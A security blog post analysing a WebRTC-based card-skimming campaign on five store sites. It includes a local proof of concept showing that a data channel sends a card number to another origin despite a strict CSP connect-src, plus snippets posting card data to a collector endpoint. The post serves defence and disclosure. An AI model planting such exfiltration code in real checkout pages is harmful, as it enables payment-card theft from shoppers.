The policy that locked four doors and left the fifth open
Card skimmers on five store sites moved data over WebRTC. I tested a strict CSP locally: four requests blocked, the data channel untouched.
By Meet ModiI built a fake checkout page with a strict Content Security Policy and tried to send its card number to another origin five ways. fetch, sendBeacon, an image and a WebSocket all died with a policy violation. The fifth way, a WebRTC data channel, delivered the number and the browser logged nothing at all. The policy did not fail. It was never asked.
What happened
The write-up is from InfoHawk, who found the script, reported it, and published after it was gone. The same kit reached five stores through three different holes: an altered marketing pixel from an ad-attribution vendor, an edited setting in a cookie-consent banner, and an altered file on one retailer's own CDN. None of those is the store's checkout code. All of them run on the checkout page with the same rights as the store's checkout code.
- Week before Black FridayThe skimmer is live on the stores of Lascana, Samsonite, American Tourister, Revolve and FWRD.
- Nov 24, 14:25 UTCAfter InfoHawk's reports, the code is gone from the Samsonite and American Tourister stores. Neither party replied to the researchers.
- Nov 24, 15:48 UTCLascana has removed the altered pixel from its site.
- Nov 24, 21:09 UTCThe pixel vendor confirms the malicious code is out and the clean pixel is restored.
- Nov 25Revolve says it resolved the issue on its mobile and tablet sites, for both Revolve and FWRD, the same day it was notified.
- Nov 27InfoHawk publishes. It hits the Hacker News front page, 548 points and 271 comments when I checked.
Two details matter for anyone who runs a checkout. The kit only switched on for small or touch screens, and on one store only on the checkout path, so a desktop scan of the homepage would have found a clean site. And InfoHawk saw card details actually leave on one store out of five, using their own test card. They say plainly that they do not know how many real shoppers were hit, if any. I am not going to guess either.
How the kit moved data
InfoHawk lays it out in seven steps. Compressed: a small loader gets onto the page through one of the three holes and pulls a script from an S3 bucket. That script makes two ordinary web requests to the attacker's host, one to fetch relay details and one to post a WebRTC offer. From there everything rides a WebRTC data channel relayed through Cloudflare's TURN service, so the traffic looks like any video call and the real endpoint stays hidden. The skimmer itself arrives over that channel in chunks, gets checked against a SHA-256 digest, and is run with eval. The card details go back the same way.
Read that again as a network engineer and one thing stands out. Out of seven steps, exactly one, the pair of setup requests, is something connect-src has an opinion about. Code in and data out both happen where the policy is not looking.
Why connect-src has nothing to say about it
connect-src is the CSP directive that lists where a page's scripts may connect. It governs fetch, XMLHttpRequest, WebSocket, EventSource and sendBeacon. Those all go through the browser's fetch layer, which is where CSP sits. WebRTC does not. A peer connection is UDP packets negotiated through ICE, and none of it passes that checkpoint. The Firefox bug asking for a fix says so in as many words. It reminded me of what I found in my post on how ad blockers work: a filter only filters the layer it is installed on.
The standards people noticed years ago. CSP Level 3 defines a separate directive, webrtc, with two values, 'allow' and 'block'. With 'block', the spec says no ICE candidates are surfaced, no connectivity checks are made, and the connection goes from new straight to failed. That is exactly the switch a checkout page wants. So I tested whether it does anything.
I tried it
Two origins on localhost, about 40 lines of Node with no dependencies. Port 4701 is the store: a page with a card field and a policy header. Port 4702 is the collector: no policy, and a counter on /collect so I can see whether anything arrives over plain HTTP. The store's header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'First, the four ordinary ways to send data to another origin, with a listener counting securitypolicyviolation events:
fetch("http://localhost:4702/collect?card=4242") blocked: TypeError
navigator.sendBeacon("http://localhost:4702/...") returned true, never sent
new Image().src = "http://localhost:4702/..." blocked
new WebSocket("ws://localhost:4702/collect") readyState 3 (closed)
violations: connect-src, connect-src, img-src, connect-src
collector /collect hits: 0Four for four, and a small trap on the way: sendBeacon returns true even though the request is blocked, so code that trusts the return value thinks it worked. Then the fifth way, on the same page, same policy:
// store page (4701), policy: connect-src 'self'
const pc = new RTCPeerConnection();
const dc = pc.createDataChannel("x");
await pc.setLocalDescription(await pc.createOffer());
// ...offer goes to the collector page, its answer comes back...
await pc.setRemoteDescription({ type: "answer", sdp: answer });
dc.onopen = () => dc.send("card=" + document.getElementById("card").value);store: { opened: true, connectionState: "connected", violations: [] }
collector: { received: ["card=4242 4242 4242 4242"] }The channel opened, the number arrived on a page from a different origin, and the violation list stayed empty. Three more checks, because one result is an anecdote:
- Reaching a third party. I gave the peer connection a public STUN server that is nowhere in the policy. The page gathered a server-reflexive candidate, which means it sent a packet to that server and got my public address back. No violation.
- Running code that arrives over the channel. The kit uses eval. With this policy, which has no 'unsafe-eval', eval threw EvalError and logged a script-src violation. So that step is blockable. My first run said eval worked and returned 42, which was wrong. I was calling it through the browser's debugging interface, and code run from there gets a pass on eval. I had to schedule it from a timer inside the page to see the real answer.
- The directive built for this. I added webrtc 'block' to the header and repeated everything. Host and server-reflexive candidates were still gathered, the channel still opened, the card number still arrived. Same result in an embedded Chromium 156 and in regular Chrome 156.
What to do on a page that takes cards
- Set connect-src anyway, and keep the list short. This is InfoHawk's first recommendation and my test agrees with the reasoning: the kit could not open its channel without two HTTP requests to its own host, and those are exactly what connect-src blocks. Every extra host on the list is one more place that could relay those two messages.
- Drop 'unsafe-eval' from script-src. The skimmer came in over the channel and was run with eval. In my test a policy without 'unsafe-eval' stopped that cold.
- Get rid of 'unsafe-inline' too, if you can. My test policy had it, and with it a script can still inject an inline script tag and run whatever text it likes. Nonces or hashes close that.
- Keep third-party tags off the payment step. Three different vendors' files were the way in here. A marketing pixel has no business on the page where the card number is typed.
- Put the card fields in the payment provider's frame. A script on your page cannot read inputs inside a cross-origin iframe. Frames have their own cost, which I ran into with three frames that could not see each other's state, and for card fields it is still the right trade.
- Add webrtc 'block' to pages that never make calls. Today it does nothing. The day a browser ships it, you are covered without a deploy.
- Test the way the kit ran: phone-sized touch screen, on the payment step. A desktop crawl of the homepage proves nothing here.
The catch: what my test does not show
I carried the offer and the answer between the two tabs by hand. A real attacker cannot do that. They need some request to get those two blobs across, and that request is what a tight connect-src blocks. So my test shows that the channel is invisible to the policy once it exists. It does not show that a locked-down page can be made to open one.
Both ends were on one laptop, connected over local addresses with no relay. I did not reproduce the kit, did not touch any of the affected stores, and did not test Firefox or Safari. Chromium 156 is the only engine I can speak for. And the fixes above are damage control. The actual problem is that a consent banner's config file could run code on a checkout page at all, and no header fixes that.
Questions people are asking
Does CSP connect-src block WebRTC?
No. connect-src restricts fetch, XMLHttpRequest, WebSocket, EventSource and sendBeacon. WebRTC peer connections and data channels do not go through that check. In a local test on Chromium 156, a page with connect-src 'self' sent data to another origin over a data channel and the browser reported no violation.
What is the CSP webrtc directive?
It is a Content Security Policy Level 3 directive with two values, 'allow' and 'block'. With 'block', a page should not be able to establish any WebRTC connection. Chrome 156 ignored it in my test, and the Firefox and WebKit implementation bugs are still open, so today it protects nothing.
What is connect-src?
connect-src is the CSP directive that lists which origins a page's scripts may connect to. If a script calls fetch or opens a WebSocket to an origin that is not on the list, the browser blocks the request and fires a securitypolicyviolation event. If connect-src is missing, default-src is used in its place.
What is web skimming?
Web skimming is stealing payment details by running malicious JavaScript on a store's checkout page. The script reads the card number, expiry and security code as the shopper types and sends them to the attacker. It usually arrives through a third-party file the store loads, such as a pixel or a tag.
Is WebRTC secure?
The transport is: WebRTC traffic is encrypted with DTLS. The gap is policy, not encryption. Any script on a page can open a peer connection without a permission prompt, and Content Security Policy does not restrict where it connects. Camera and microphone need permission. A data channel does not.
Which sites were affected by the WebRTC skimmer?
InfoHawk named the online stores of Lascana, Samsonite, American Tourister, Revolve and FWRD. The script was removed from all five on November 24 or 25, 2026, before Black Friday. The researchers saw card details leave on one of the five, using a test card, and do not know how many shoppers were affected.
Sources
- Credit card skimming scripts using WebRTC found on popular shopping sites, InfoHawk, November 27, 2026
- Content Security Policy Level 3, the webrtc directive, W3C
- Bug 1783489: Implement CSP 'webrtc' directive, Mozilla Bugzilla
- Bug 255651: Add support for the CSP "webrtc" directive, WebKit Bugzilla
- Content-Security-Policy: connect-src, MDN
- Hacker News discussion
More Posts
I asked Cloudflare's docs about sourdough and got a perfect match
Cloudflare's new search endpoint for agents, tried with curl: GET, the new QUERY method, what comes back, why every score is 1.000, and who pays for it.
My test skill ran curl before the model read a word
An agent skill told the model how to slip a download past safety checks. What got fixed, what I found in my own skills folder, and a hook that blocks it.
Two services, one topic, either deploy order
A shared topic is only safe if the old consumer ignores what the new producer adds. One field with a default, and either side can roll back alone.